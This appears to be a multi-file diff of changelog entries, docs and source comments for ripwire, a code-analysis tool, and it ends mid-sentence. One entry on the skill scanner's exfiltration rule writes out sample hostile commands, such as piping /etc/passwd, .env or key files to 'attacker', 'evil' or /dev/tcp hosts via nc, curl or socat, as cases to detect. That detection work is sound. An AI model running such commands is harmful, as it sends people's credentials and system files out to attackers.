+Each scouted arm materialised its commit with `git archive` + `tar -x` of EVERY committed byte, then ingested it
+with a crawl that prunes `third_party/`, `vendor/`, `build/` and the rest of the built-in denylist by name. On this
+repository that is 249 MB of a 325 MB archive per arm; `--stray-content --plan` (12 scouted arms) took 116 s on a
+loaded machine and a 60 s caller got no output at all. The archive now carries the denylist as exclude pathspecs
+(`:(exclude,glob)**/<dir>/**`), so an arm writes and deletes only what the crawl reads: one arm 14.4 s → 7.2 s,
+byte-identical output. It also stops an unextractable vendored path (a name component no filesystem accepts) from
+refusing the whole arm. A tree holding a tracked symlink is archived whole, since a link into a pruned directory would
+dangle and drop its symbols (landingcheck REPO4). An empty tree (git refuses an exclude-only pathspec over it) falls back to the plain archive. The one prune a pathspec cannot express — a directory holding `CMakeCache.txt` — is still
+extracted and still pruned by the crawl. Gate: `test/landingcheck.sh` REPO3 (red before, green after).
+
+### Fixed — `--scan-skills`: `EXFILTRATE:net-exfil` grades by credential source, needs a destination, and catches var-free uploads (#353)
+
+The rule fired on a fenced line with a network verb (`curl`, `wget`, `nc`) and any `$VAR` or `base64`. That
+shape says nothing about what is sent, so documented API calls and loopback checks such as
+`curl https://api.airtable.com/v0/$BASE_ID` and `curl http://127.0.0.1:$p/v1/models` were CRITICAL, and a
+CRITICAL blocks `ripwire wrap`. Three changes, all decided on the one line:
+
+- **Severity.** A hit is CRITICAL when a credential-shaped source is on the same line: a var whose name reads as
+  a credential, such as `$GITHUB_TOKEN`, `$AWS_…` or `$DB_PASSWORD`; an `Authorization:` header with a var; `env`,
+  `printenv` or `/proc/…/environ`; a key file such as `~/.ssh/…`, `*.pem`, `.netrc` or `.aws/credentials`; or a
+  file operand named like a credential, as in `cat secret | base64 | nc …`. Otherwise it is WARN, and the row
+  carries `why="no-cred-source"`.
+- **A destination is required.** The rule fires only when a network verb in command position names where it
+  sends: a URL, a `$VAR` argument, a host, `localhost` or `user@host`, netcat's positional `HOST PORT` pair
+  (`nc attacker 4444`, also `ncat` and `netcat`; `nc -l 4444` listens and names none), a socat `TCP:HOST:PORT`
+  address, a `/dev/tcp/HOST/PORT` redirect, or a single-label host after `curl`/`wget` (`curl -d @- evilhost`). The
+  verb is found through a chain of runner prefixes — `sudo`, `doas`, `run0`, `exec`, `time`, `nohup`, `nice`,
+  `timeout`, `xargs`, `env`, `stdbuf`, `setsid`, `eval`, `builtin`, `command` and the shell keywords — so
+  `command curl …`, `eval curl …` and `stdbuf -oL curl …` are still graded (their value-taking options, such as
+  `sudo -u deploy` and `stdbuf -o L`, are skipped). `env VAR=x curl …` is the assignment-prefix idiom, not an
+  environment dump. A verb that is only named, as in the reporter's `for t in jq curl git; do command -v "$t" …`
+  loop, `which curl`, `command -v nc`, `command -V wget` or `echo "install curl"`, does not fire.
+- **Var-free exfiltration is caught.** A sensitive file read that is piped, redirected or passed into an upload
+  is CRITICAL with or without a variable, and the row carries `why="sensitive-read-upload"`. Examples are
+  `cat /etc/passwd | curl … @-`, `curl -d @.env …`, a `wget` post of `/etc/shadow`,
+  `base64 server.pem | nc …`, `security dump-keychain | curl …`, `nc host port < .git-credentials`,
+  `cat /etc/passwd | nc attacker 4444`, `cat .env > /dev/tcp/1.2.3.4/80` and `socat - TCP:evil:443 < /etc/shadow`
+  (socat's `FILE:` address counts as a read). A read reaching a network verb is CRITICAL even when the destination
+  is a bare single-label host that R1 could not resolve. The readers whose non-flag arguments count as a read are
+  `cat`, `base64`, `xxd`, `od`, `head`, `tail`, `gzip`, `bzip2`, `xz`, `tar`, `cp`, `dd` (`if=FILE`) and `openssl`
+  (`-in FILE`); a flag such as `-w0` or `--` is skipped, so `base64 -w0 /etc/shadow` and `cat -- .env` are read.
+  Before this change these scanned clean. Sensitive sources are `/etc/passwd` and `/etc/shadow`, `~/.ssh/*`
+  except `*.pub`, `*.pem`, `*.key`, `id_rsa`-style key names, `.netrc`, `.aws/credentials`, `.env` and `.env.*`,
+  `.git-credentials`, a keychain or a keychain dump, a process environment, and a browser cookie store. Reading
+  `README.md` into an upload, or reading `/etc/passwd` and then running `curl` as a separate statement, does not
+  fire. A `~/.ssh` or `~/.aws` path is still claimed first by the older `EXFILTRATE:ssh-aws-creds` rule, which is
+  CRITICAL too.
+
+Both `why=` values are defined in the compact and the full legend. Scans where neither rule applies are
+byte-identical. The reporter published a corrected 107-row histogram; a synthetic set built from it has 106
+firing lines on main, all CRITICAL. On this build 6 are CRITICAL (the `Authorization: Bearer $…` lines), 99 are
+WARN (including the three `http://<host>:<port>` doc placeholders), and the `command -v` loop no longer fires. On
+the first-histogram set, 109 CRITICAL become 6 CRITICAL, 102 WARN and one silent line. The decision is still
+line-local. It does not resolve a `$VAR` to its assignment, does not tell a token's own service from another host,
+and does not follow a read on one line to an upload on the next. That is the source-to-sink flow decision, which
+is still to come. `src/skillscan.h` and `docs/LINEAGE.md` now note that this hardening was informed by ideas from NVIDIA SkillSpector
+(Apache-2.0), surveyed as related work; no SkillSpector code or pattern text is included. A counted lineage row, with
+per-rule attribution, will be added once the planned port of its code-based checks lands.
+Gated by `test/skillscan.sh` check 18 over the five blocks of `test/skillfix/netexfil_severity.md`, and by
+`test/regexguardcheck.sh` arm (f1), whose oracle now specifies the destination rule too and agrees with the scanner
+on 3,000 generated lines; each of its destination branches (the netcat pair, the socket address, the `/dev/tcp`
+redirect) turns the arm red when removed from the oracle.
+
+### Fixed — `traceasanlinearcheck` arm B compares medians, so one stalled run no longer reads as quadratic (#352)
+
+The full-matrix run on `3fcd515f` failed arm B1 on one sample per size: 31 / 65 / 637 / 1382 ms for
+40 KB / 160 KB / 640 KB / 2.5 MB. The same run's next step, 640 KB to 2.5 MB, cost 2.2x, which is below linear.
+A real O(k^2) parse would have taken about 10 s at 2.5 MB, so the 640 KB run had stalled once. `--from-trace`'s
+ASan parser is unchanged since its linear rewrite. Locally, five reps at each size from 40 KB to 10 MB measure
+39 / 74 / 184 / 498 / 1838 ms (medians), and the step ratio approaches 4x from below. Arm B now times each size
+five times, round-robin across the sizes, and compares medians. The thresholds are unchanged. Replaying the CI
+stall (one 640 KB run delayed 0.6 s) fails the old arm and passes the new one. A deliberately quadratic per-word
+rescan in `scanAsanWordBoundaries` still fails B1, B2 and B3 (medians 1033 / 14094 ms / timeout).
+
 ### Fixed — the Linux G1 sanitizer ritual completes: five string_view comparator lambdas stop wrapping, and the GCC ASan path builds (#342)
 
 `LSAN_OPTIONS=… ./asan/ripwire .` — the sanitizer ritual AGENTS.md requires before a PR — aborted on any
@@ -117,6 +596,60 @@ print are unchanged.
 `test/recallpassagecheck.sh` and `test/impactpartitioncheck.sh` are executable now (mode 100755 like every
 other gate); direct `./test/…` invocation exits 126 no more.
 
+### Fixed — `--scan-skills` scans a skill's bundled shell scripts as code, and discloses the code it cannot flow-scan (`.py` `.js` `.mjs` `.cjs` `.jsx` `.ts` `.mts` `.cts` `.tsx` `.rb` `.pl` `.pm` `.lua` `.php` `.ps1` `.psm1` `.psd1` `.bat` `.cmd`, a non-shell `#!`)
+
+`--scan-skills` reads every regular file under a skill, but ran each through the markdown fence tracker. So
+`EXFILTRATE:net-exfil`, which fires only inside a fenced code block, never fired in `scripts/helper.sh`: a
+`curl … $GITHUB_TOKEN` upload that is CRITICAL inside a fenced `bash` code block in `SKILL.md` read clean (exit 0) in the
+script, with or without a shebang, through `--scan-skills` and `--scan-skill` alike, and a pair of triple-backtick fence lines in a
+heredoc could close a fence the scan thought open. A `.sh`/`.bash`/`.zsh`/`.ksh` file, or one whose `#!` (after a UTF-8 BOM, if
+any) names `sh`, `bash`, `zsh`, `dash`, `ksh`, `ash` or `mksh` (through `env` or `busybox` too), or a shell startup file (`.bashrc`,
+`.bash_profile`, `.bash_login`, `.bash_logout`, `.bash_aliases`, `.zshrc`, `.zshenv`, `.zprofile`, `.zlogin`, `.profile`,
+`.kshrc`, `.envrc`), now also gets a whole-file-code pass — no YAML frontmatter (bash runs a
+leading `---` line and everything after it), every line is command context, and no triple-backtick line toggles anything — merged with the markdown pass, so a script can only gain rows
+(measured over the 1,242 code files in this repo: no row lost, 23 added, 17 of them WARN `why="no-cred-source"`).
+Markdown input is byte-identical. Code in a language the scanner has no network-flow model for — exactly `.py`, `.js`, `.mjs`, `.cjs`, `.jsx`, `.ts`, `.mts`, `.cts`, `.tsx`, `.rb`, `.pl`, `.pm`, `.lua`, `.php`, `.ps1`, `.psm1`, `.psd1`, `.bat`, `.cmd`,
+or another `#!` — is read as before and disclosed: `<skillscan
+code_not_flow_scanned="N">`, defined in the compact and full legends and counted on the stderr tally; `clean` does
+not cover those files. Python and JavaScript flow shapes (`requests.post` or `urllib` with `os.environ`, which is
+missed even inside a fenced `python` block) are 0.6.7 work. `ripwire wrap`'s pre-install scan read only `.md`
+files, so it emitted the recipe (rc 0, empty stderr) for a skill whose `scripts/helper.sh` uploads a credential; it now
+scans every regular file of `./skills` and `.agents/skills` through the same kind-aware scan, following directory
+symlinks as `--scan-skills` does (each directory entered once, by device and inode, so a link loop ends), refuses such a skill
+(rc 1 unless `--force`), and counts code files it cannot flow-scan on stderr. Gate: `test/skillscan.sh` check 19. The `<f rule= sev=>` row attributes are now defined in both
+`--scan-skills` legends (present only when the answer has rows; they never were, on any earlier build), and past the
+200-row cap the shown rows are the worst severity first (every CRITICAL, then WARN), so a WARN flood cannot hide the
+CRITICAL evidence row; an uncapped answer keeps scan order.
+
+### Fixed — `ripwire <dir> --scan-skills` no longer answers "clean" for a `<dir>` it never read
+
+The bare form walks `./.agents/skills` under the current directory and the Claude and Codex skill homes; it never read a
+positional root, yet `ripwire <dir> --scan-skills` answered `files="0" verdict="clean"` at exit 0 for a `<dir>` holding a
+CRITICAL script, and the empty-value hint said it "scans the tree it maps". A positional root other than the current
+directory is now refused by name (exit 3, this verb's "never scanned it" code, since 0/1/2 are verdicts: pass
+`--scan-skills=<dir>` or `cd` there), the hint and `--help` say what the bare form walks, and its answer names the
+directories it walked in `dirs=` (present only on the bare form; defined in the compact and full legends). Scans of a
+`DIR` or a single file are byte-identical. Gate: `test/skillscan.sh` check 20 (M5).
+
+### Fixed — `--stray-content` defines the `diffable="0"` it emits for a binary on an unmerged branch
+
+A file an unmerged local branch holds that cannot be line-diffed (a binary or oversized blob on some side, e.g. an
+image) is listed as `<file … diffable="0"/>` with its counts at 0, but no legend defined `diffable=`: not the default
+(compact) legend, not `--legend=full`, not the MCP `stray_content` twin or the session dictionary. So
+`legendcoveragecheck` arm (G) went red in any clone whose local branches held such a file and green everywhere else.
+The compact legend (and with it the session dictionary, one entry more) and the full legend now define it;
+the compact reading is present-only, so a default answer with no such row is byte-identical to before (the full
+legend gains one sentence). `legendcoveragecheck`
+gains arm (H), which builds that state in a throwaway repo — a text file and a binary on an unmerged branch — and
+requires the CLI default, `--legend=full` and the MCP twin to define every attribute they emit.
+

+### Adding a language: common stays common
+
+A new language is **data plus, at most, small per-language pieces for semantics that genuinely differ** —
+never a copy of another language's mechanism. The step-by-step path is `prompts/add-a-language.md`; the
+rules it enforces:
+
+- **Data, not branches.** A `kLangTable` row, a `queries/<lang>/tags.scm` in the shared capture
+  vocabulary, and a row in each exhaustive `switch( Lang )` table. No language-named capture kinds.
+- **Reuse the shared mechanism.** Scope walks, shadowing (`VarDecl` bindings with spans) and imports
+  (`Binding`/`Include`) each exist once. Extend them; a second copy under a new language's name is a
+  review finding, and `--clones` shows it. No language-neutral qualified-call resolver exists yet
+  (`src/elixir_resolve.h` is Elixir-specific); raise generalising it in your PR.
+- **Refuse, don't guess.** A call whose qualifier (`Mod.f`, `ns/f`) cannot be resolved is counted as
+  unresolved, never laddered to every definition of that short name.
+- **Known gap.** Tags-pass predicates (`#eq?`/`#any-of?`) do not run yet, so keyword-headed definitions
+  (Elixir today; a Lisp-style `defn` if one is added) keep a small keyword table in C++. That table belongs in `tags.scm` once the
+  mechanism lands; it is not a pattern to extend.

+### error-masking widened: log-only and rethrow-only (0.6.5) — hand-labelled precision, and which shapes gate
+
+`error-masking` counted only an EMPTY handler (empty braces, `pass`, `...`, a comment-only body). 0.6.5 adds
+two shapes from `src/handlershape.h`, walked over the same parse the query rows use:
+
+- **log-only** — a BROAD handler (catches everything, or the root error type: `Exception`, `Throwable`,
+  `StandardError`, a bare `except:`/`rescue`, any JS/TS `catch`) whose body is only logging/print calls and
+  never names the caught error. `logger.exception`, `exc_info=`, `traceback.format_exc()` and Ruby's `$!`
+  count as naming it; a narrow handler never counts (its type states the cause). Go: `if err != nil { … }`
+  with no `else` and a body of non-fatal log calls that never read `err`.
+- **rethrow-only** — the ONLY handler of its try re-raises the error it caught, unchanged (bare `raise` /
+  `throw;`, or `raise e` / `throw e` of the caught name; `raise … from …` and a wrapped throw are not
+  unchanged). Sole handler, because `catch( Specific e ) { throw e; }` ahead of a broader sibling routes one
+  type past it and is not redundant.
+
+**Labelling rule, fixed before labelling.** A hit is TRUE when the shape as specified is really there: for
+log-only, an error is caught, its identity (type, message, traceback) is not carried by anything the handler
+does, and execution continues past the handler; for rethrow-only, deleting the handler (keeping any `else`
+/ `finally`) changes nothing observable. A deliberate best-effort fallback is TRUE — it is the shape, the
+same way an intentional empty `catch {}` is an empty catch; whether to keep it is the reviewer's call. FALSE
+is anything else: the error is carried or checked some other way, or the code does not continue.
+

+| log-only | JS / TS | 7 | 7 | 0 | 1.000 | no — n < 20 |

+
+The two FALSE rows: a Go `if err != nil { fmt.Printf( … ) }` whose `err` is passed to `check( err )` on the
+next line (the error is handled after all — the Go walk cannot see past its own block), and a Python
+`except BaseException: print( previous_tb )` that prints the traceback of the error being reported and exits
+right after. Two of the TRUE rethrow-only rows carry the ecosystem's own linter suppression for this exact
+shape (`# noqa: TRY203`, `// eslint-disable-next-line no-useless-catch`).
+
+**The gate rule** (`kHandlerShapeGates`, `src/lintrules.h`): a (shape, language) pair gates only at precision
+≥ 0.8 on ≥ 20 labelled hits. That admits Python for both shapes and nothing else. Every other language
+still gets the row, as `sev="minor"`, which never fires exit 2 — Java, C#, Kotlin, Ruby and C++ had no
+sample at all on this machine, and JS/TS and Go too few. The full legend says so on the row's report.
+
+**Replay on this repo's history.** `--quality-delta=C` for the last 40 first-parent commits of `main`
+(each one a merged train or lane, `3ddbfe85`..`b343b988`), with the 0.6.4 binary and with this one:
+**+0 rows** in either kind, and all 40 `--json` documents byte-identical between the two binaries (626 rows
+each, 24 gating across the 40). This repository has no Python/JS handler of either shape and no TODO comment
+added in that window, so on upgrade its own reports are unchanged; the replay shows the widening costs no
+noise here, not that it finds anything here. The rows the shapes produce were measured on the corpus above.
+
+### placeholder (0.6.5) — what the eleventh kind counts, and a labelled sample
+
+A stub or TODO the change ADDED, counted per enclosing symbol and compared with the baseline like
+error-masking. Every row is `origin="new-symbol"` by construction and never gates. It counts: Rust
+`todo!()`/`unimplemented!()` (and a `panic!` saying "not implemented"), Kotlin `TODO()`, C#
+`NotImplementedException`, Python's bare `raise NotImplementedError` as the whole body of a FREE function,
+any throw/raise/panic/`fatalError`/`assert` whose string says "not implemented", "not yet implemented",
+"unimplemented", "implement me" or a whole-word `TODO`, and a comment line that opens with `TODO`/`FIXME`
+and names no issue (`#12`, `ABC-12`, `gh-12`, a URL). A raise whose text declares a subclass contract
+("must be implemented by subclasses", "override", "abstract") never counts, nor does an `@abstractmethod`.
+
+Two rules were narrowed by measurement before shipping, on 25-hit seeded samples of the corpus above:
+a bare "any `raise NotImplementedError`" rule was dominated by guards for unsupported cases in library
+code, and a whole-METHOD-body rule by abstract-by-convention interfaces (asyncio's event-loop ABC is dozens
+of them, undecorated). Hence free functions only for the bare form — a stated recall floor for an
+undecorated placeholder method, which still counts when its message says "not implemented".
+
+| sample (seed 20260926, 25 each, de-duplicated) | criterion | TRUE |
+| --- | --- | --- |
+| stub (653 unique hits: 616 Python, 22 Go, 13 JS, 2 Ruby) | the code declares a case or a function not implemented | 25 / 25 |
+| stub | stricter: a placeholder standing in for a whole unfinished function | 1 / 25 |
+| todo (10,855 unique hits) | a TODO/FIXME comment line naming no issue | 25 / 25 |
+
+The stricter reading is what "a stub" means in conversation, and on library code it is rare: most hits
+are declared-unimplemented BRANCHES ("… is not implemented for directed graphs"). That is still what the
+kind is for — a change that adds one has a stated gap — and it is why the kind is report-only.

 **How to read the blocks:** ripwire's real XML output is minified — often ONE long line. For scanability, long minified lines are displayed re-wrapped with a line break at every tag seam (`><`). Header COMMENT lines (the legends) always appear in full — they are exempt from the per-line cut; any OTHER display line over 300 bytes is cut with a `… [line truncated: N more bytes]` marker, which can hit a long root element or row. `--plan-lanes` emits JSON and is re-wrapped at object seams the same way. Long outputs are cut to their first ~30 display lines with a `… [N more display lines; full output is M bytes]` marker giving the true size. Exit codes are recorded when non-zero; wall time when >1s.

 <!-- ripwire callers/callees: the 1-hop call hierarchy read off the call graph — the callers form lists symbols that CALL of=; the callees form lists symbols of= itself calls. of= is the selector you passed, defs= how many DEFINITIONS it resolved to (rows UNION every def's neighbours), count= the DISTINCT neighbour symbols (a floor, per counts_floor=), windowed by limit= and offset=. A neighbour that is an indexed function-like #define is a macro row (t="macro", role="macro" on the XML row): the edge crosses a macro expansion, not a plain call — rows carry no role= otherwise. Rows are ordered SOURCE first, then test/bench, then docs, by path within a tier. hop_tested=/hop_untested= partition count= by the tested= lens below (1-hop, never transitive). tested="1" on a row means an indexed test transitively reaches it (never 0, omitted when it does not). BLIND SPOT the test-gate legend also names: only a CALL EDGE from an INDEXED test symbol counts here, so a shell or CLI-level test running a built binary as a SUBPROCESS is invisible to it and a repo tested that way reads all-untested. Read untested= as no in-process test reaches it, not as no test covers it. next= is the one pasteable follow-up (the uses verb on this selector: the call sites). counts_floor="1" means every count here is a FLOOR, never a total: edges are extracted from source TEXT by NAME. Missing: dynamic dispatch (virtual/interface/duck-typed), a most-vexing-parse declaration with no call expression, a function-pointer/callback bound to more than one function in scope (reassigned, table-indexed, lambda-bound, or address-taken/reference-bound), and a plain-name binding (fp=handler) whose variable type is not PROVABLY a function pointer (a same-file typedef/declarator; a HEADER typedef is missed; auto/template types are read as unpinned, so KEPT). A macro-generated call site is role="macro" only when its name uniquely names an indexed function-like #define (C-family, t="macro"); a shared name stays a plain call, an unindexed macro is no edge. Read a zero as "none found", never as "none exists". graph_ambiguous=/graph_unresolved= are the whole graph's resolver gauge (calls split over several defs / calls whose in-repo defs were all language-filtered), the map header's ambiguous=/unresolved=. graph_unindexed=N is a third gauge: files no grammar could read (the map header's unindexed=), whose calls raise neither gauge above; absent when zero, and so is this sentence. COUNTING UNIT differs by verb: callers, callees, edit-check, graph-query and pr-context counts are DISTINCT SYMBOLS (repeated calls from one caller, and calls to two overloads, collapse into ONE row; multiplicity survives only in the call graph's edge weight). The reach counts (impact's reaches=, pr-context's dependents=) are the size of a transitive reach SET, each symbol counted once. The uses verb counts call SITES, one row per occurrence — a larger count there for the same symbol is these units agreeing, not disagreeing. The map header's edges= is a unit again different — distinct (caller,callee) PAIRS — and that document carries neither this marker nor this clause. -->

 ## STEP 3 — extraction
 
-- `src/ingest_LANG.h` — the extraction module. Read `src/ingest_elixir.h` first; it is the newest
-  and the most conventional.
-- `src/ingest.cpp` — include it and dispatch to it.
-- `src/ingest_sidecap.h` — sidecar capture, if LANG has doc comments worth carrying.
-- `src/ingest_metrics.h`, `src/clones.h`, `src/lintcatalog.h`, `src/htmlexport.h`, `src/cli.h` — each
-  has a per-language arm. Grep for the newest language name to find every one.
+**A language is data first, and C++ only where its semantics truly differ.** What is common must stay
+common: twenty languages each carrying a private copy of the same idea is twenty places to fix one bug.
+
+- `queries/LANG/tags.scm` — this is where most of a language lives. Use **only the shared capture
+  vocabulary**: `@name`, `@definition.{function,method,class,struct,interface,var,constant,macro,module,type,field}`,
+  `@reference.{call,import,implementation,type}`. Do not invent a language-named capture
+  (`@definition.LANG`, `@LANG.head`); every consumer downstream has to learn a new name for it.
+- The exhaustive `switch( Lang )` tables (`langTag`, `isCodeLang`, `dependencyCapable`, …) — the compiler
+  lists every one you missed (`-Werror=switch`). A row each, no logic.
+- Then the arms the compiler cannot see: `grep` for a recently added language (`Lang::Elixir`) and read
+  every hit. Lists and masks are not switches — e.g. `kAllCatalogLangs` in `src/lintcatalog.h`, the
+  `langBit` masks in `src/clones.h`, `wordLang` in `src/ingest_metrics.h`. Semantic hooks (arity,
+  params, attributes) live today in the per-language branches of `src/ingest_sidecap.h`.
+- Per-language C++ is for semantics the grammar cannot express. **Before writing a helper, look for the
+  shared one:**
+
+  | You need | Use (do not copy) |
+  |---|---|
+  | the scope a definition sits in | `enclosingScopeOf` (`src/ingest_names.h`) |
+  | a local that shadows a global name (`let`, params) | a `VarDecl` binding with its block span — the generic shadow pass (`suppressShadowedReferences`) does the rest |
+  | imports / aliases / `require … :as` | `Binding` / `Include` facts (`src/model.h`), as JS imports and Elixir aliases already do |
+  | module-qualified calls (`Mod.f`, `ns/f`) | no language-neutral resolver exists yet; `src/elixir_resolve.h` is Elixir-specific and the only one. Raise generalising it in your PR rather than writing a `LANG_resolve.h` beside it |
+
+  Then run `ripwire --clones` on your tree: your new code should add no clone group.
+- **A qualified call you cannot resolve is counted as unresolved — never sent to the global name ladder.**
+  `(str/join …)` laddered to every `join` in the corpus mints edges that are not real (the PR #81 decision:
+  the ladder gave one Elixir function 55 callers where 3 were real).
+
+**A known gap, so you are not surprised by it:** the tags pass does not evaluate `#eq?`/`#any-of?`
+predicates yet (see the notes in `queries/javascript/tags.scm`). A language whose definitions are *a call
+with a keyword head* — Elixir `def`, or a Lisp-style grammar (e.g. Clojure's `defn`, if added) — therefore has to keep that keyword list in C++ for
+now. That is one reason `src/ingest_elixir.h` exists (it also holds arity, params, attribute and alias logic); it is **not a template to copy**. If you hit this, keep
+the list a small `constexpr` table in one place, and say in the PR that it belongs in `tags.scm` once
+predicates run. Maintainers will move it; you are not asked to build the mechanism.
+
+If the shared mechanism you need does not exist, say so in the PR. We would rather add it with you than
+see the pattern forked.

 reports the contract you intended, and the `--affected` tests pass. Anything short of all four and the fix is
 still a hypothesis.
 
+## The fix loop — paying down EXISTING debt, one finding per commit
+
+The loop above converges on debt *you* just added. When the task is debt that was already there ("clean up this
+module", "fix the worst of it"), run this instead — bounded, one finding at a time:
+
+1. **Pick the top finding.** Your own open rows first (`gating=`, then `origin="new-symbol"`); otherwise row 1 of
+   `ripwire <dir> --quality-panel=strict --legend=compact` pointed at the area you were asked about. The panel orders
+   by how many independent families agree, not by payoff — no validated value × cost ranking ships yet — so between
+   near-ties take the cheapest: small, tested, few `--callers=SYM`.
+2. **Untested? Write the test first.** `join="deep+untested"` on the row, or `ripwire <dir> --affected=SYM --legend=compact`
+   naming no `<test>` row that carries `hops=` (a `partner="1"` row without `hops=` is co-change, not reach), means
+   the refactor has no safety net. Write one against the UNCHANGED code
+   (→ **ripwire-write-tests**), see it pass, commit it alone. A test written after the refactor pins the new
+   behavior, not the old.
+3. **Apply the recipe the shape calls for** — the drill-down table's Fix column for a regression kind, the playbook
+   row (precondition first) for a measured shape. The one recipe neither table carries:
+   a `--lint --lint-select=magic-number` finding (C/C++/ObjC) → a named constant. "Leave it alone" is still on the menu.
+4. **Prove it** — the closed fix loop above, all four steps, with one rule stricter than its step 2 (**anti-gaming**):
+   the fix must not worsen ANY other kind. Measure BEFORE you commit, one fix per commit, so a bare `--quality-delta`
+   (working tree vs `git HEAD`; re-pin after each commit if you pinned `--quality-baseline`) covers exactly this fix — after the commit it reads `regressions="0"` trivially
+   (`head_basis="identity"`); to check a fix already committed, run `ripwire <dir> --quality-delta=HEAD --legend=compact`
+   (that commit vs its parent). Then `regressions=` must be `0`, not just `gating=`, and `acked=` must not rise (a
+   pre-ack hides a row). The one exemption: a `kind="short-horizon-churn"` row with `churn="self"` on a function this
+   session already fixed is the loop's own commits, not a regression — better, take the next row from a different
+   function. A fix that trades its target for a row of any other kind — a `duplication`, a `params`, a public
+   `api-surface` helper that should have been file-local — is a lateral move: revert it, don't ack it.
+   `--quality-delta` only lists what got worse, so confirm the target moved by re-running the command that ranked it.
+5. **Stop at 3 fixes per session** (a default, not a measured optimum). Guardrail 3 bounds each fix to 1–2 rounds;
+   this bounds the session. End by naming the next row, not starting it — a long unreviewed chain of mechanical
+   refactors is where gaming hides.
+
 ## The four guardrails (why this loop converges instead of degrading)
 1. **Deterministic oracle, not self-critique.** The delta is *computed* — it cannot hallucinate or reinforce
    a bad regression. Trust it over a vibe.

+//                   (one that catches everything, or the language's root error type): a narrow
+//                   `except FileNotFoundError: print("no config, using defaults")` states its cause in its
+//                   own type, and counting it would be the false positive this shape cannot afford.
+//     rethrow-only  the ONLY handler of its try re-throws the error it caught, unchanged — a try/catch
+//                   that does nothing. Sole handler, because `catch( Specific e ) { throw e; }` ahead of a
+//                   `catch( Exception e )` sibling is the idiom that routes one type PAST the broad
+//                   handler, and that is not redundant.
+//   PLACEHOLDER (kind placeholder):
+//     stub          raise NotImplementedError, todo!()/unimplemented!(), Kotlin TODO(), throw new
+//                   NotImplementedException(), and any throw/raise/panic/fatalError/assert whose string
+//                   says "not implemented" / "unimplemented" / "implement me" / TODO.
+//     todo          a comment LINE that starts with TODO or FIXME and names no issue (#123, ABC-123, a URL).
+//
+// WHY A WALK AND NOT A QUERY. Each shape is a question about ALL of a block's statements ("every statement
+// is a log call") or about a name NOT occurring below a node ("the caught identifier is never read"), and
+// a tree-sitter pattern can state neither. It rides the same read, parse and newline index as the query
+// groups (AstWalk::HandlerShapes), so it costs a traversal, never a second parse.
+//
+// PRECISION BEFORE RECALL, by construction: every test below answers "not this shape" when it cannot
+// decide — an unrecognised callee is not a log call, a destructured catch binding is not judged, a name
+// inside a string counts as a reference. Each of those is a miss, never a finding.
+// Measured precision per shape and language is in docs/EVALS.md ("error-masking widened"); the table

+// Language-neutral by construction: the enclosing function is the first ancestor that isFunctionBoundaryKind (the ev
+// arena's own probe-verified list: a named function, a method, an arrow/lambda/closure/func literal, in every grammar),
+// and the walk stops — NOT local — at the first ancestor that is a MEMBER container (a class/impl/record body): a

+// language joins by its grammar's spelling appearing in either list, never by a branch here. A nested name the grammar
+// binds OUTSIDE the function (kEscapingNestedBindings, above) is never local.

+// call to an unrelated same-named def in the same directory — measured on PHP and Lua fixtures). One row per shape:

+//         under a variable_declaration) are scope bindings;
+//   JS    an assignment-bound def (`exports.f = function`, `obj.f = () => …`) writes a property of an outer object.
+// Surveyed and NOT listed: Ruby's nested `def` also escapes (it defines a method on the class) but is a Method, which
+// fnLocal never takes; Python's nested `def` is local unless a `global` statement says otherwise (not read — a floor);
+// Rust/Kotlin/Swift/C#/Dart local functions and GCC nested C functions are lexically scoped; Go and Java have no nested

+// byte — so no new extraction is needed: the inherit ref is joined to it through the derived class's open

+// ENCLOSING nesting, then at the top level, `::X` absolute — resolveRubyConstant's order. Against what: every
+// open the tree holds, WRAPPERS INCLUDED — `class Outer; class Nested; end; end` defines nothing of Outer and
+// is no definer in the #57 index, but it is a class a base can name, so the definer table is the wrong oracle
+// here. The bases are then the class symbols whose OWN open carries the resolved constant — read from
+// `classesByFqn`, NOT from buildGraph's byName: byName has been through the C-family decl/def collapse, which
+// takes a body-less `class Base < StandardError; end` for a forward declaration and drops it whenever a
+// same-named class with a body exists (activerecord's Encryption::Errors::Base lost all six of its subclasses
+// to rails/generators' Base that way). Ruby has no forward declarations; every open is the class. A written
+// base the tree never opens resolves to nothing, and the reference then mints no implementor row and no CHA edge.

+// Two rules the reporter's corrected histogram asked for, both decided by netFlow in ONE pass over the line:
+//   R1  a network verb with NO destination is not a flow. `command -v curl`, `which curl` and `for t in jq curl git`
+//       name the tool without running it, so net-exfil does not fire on them at all.
+//   R2  a SENSITIVE read piped, redirected or passed into a network command is exfiltration with no variable in sight:
+//       `cat /etc/passwd | curl … --data-binary @-` scanned clean. It is CRITICAL, why="sensitive-read-upload", whether
+//       or not the destination could be read — a sensitive read reaching a network verb is exfiltration wherever it goes.
+// THE INVARIANT (gradeNetExfil): R1 and R2 only ever silence or downgrade a line that carries NO credential token and NO
+// sensitive read. A line main graded CRITICAL that carries either stays CRITICAL — pinned by test/skillscan.sh check 18's
+// block-2 (credential) and block-3 (sensitive-read) fixture rows.

-<!-- ripwire doc drift: the CHECKABLE anchors in this repo's markdown, verified against the live index, reporting only the ones that no longer hold. Four kinds: file:line refs (missing-file / past-eof / line-moved, the last only when the doc names a symbol on that line), backticked symbol mentions (undefined), `= N` constants and `[N]` array extents (value/extent vs the declaration). Every lane under reports on purpose: a name is stale only when it occurs NOWHERE in the code as an identifier, and a number is compared only against a declaration shaped literal the corpus binds uniquely. checked + unchecked == anchors: nothing is dropped silently, and the unchecked rows say what was not proved. Read why="undefined" precisely: it says the name is defined NOWHERE in this repo, which is not the same as DELETED — in a plan or design doc naming work not yet built, that is expected rather than rot. Run with the with_history flag to have git history separate the two: the lane then reports why="deleted" with the commit that removed the name, and downgrades a name this repo never had to unchecked r="never in history". A failed anchor the AUTHOR DATED is split out as kind="dated-record" and counted in dated= rather than drift=: an audit finding, a ledger row or an as-of-DATE hedge records what was true then, so drift= is the LIVE rot and drift + dated is every anchor that no longer holds. rec= names the evidence (line / block / title / stamp), and a doc that never writes its own date anywhere a machine can read reports LIVE — the lane reads dating marks, it does not guess genre. Attribute vocabulary, one name one meaning: at= appears ONLY on this root element and is the commit the run was measured against (short sha, plus dirty when the tree had uncommitted changes); ref= is the anchor as the DOC writes it; got= is what the corpus actually says; and tgt= is the corpus SITE backing got= (a path, or path:line). On the <a/> rows k= and kind= are DIFFERENT things and both are kept: k= is the ANCHOR kind (file-line / symbol / const / array), kind= is the record classification (dated-record). k= cannot be renamed to kind= here for the obvious reason that kind= is already taken on the same element; note that in the ranked map the same k= spelling is a PageRank score instead. Docs are ordered by LIVE 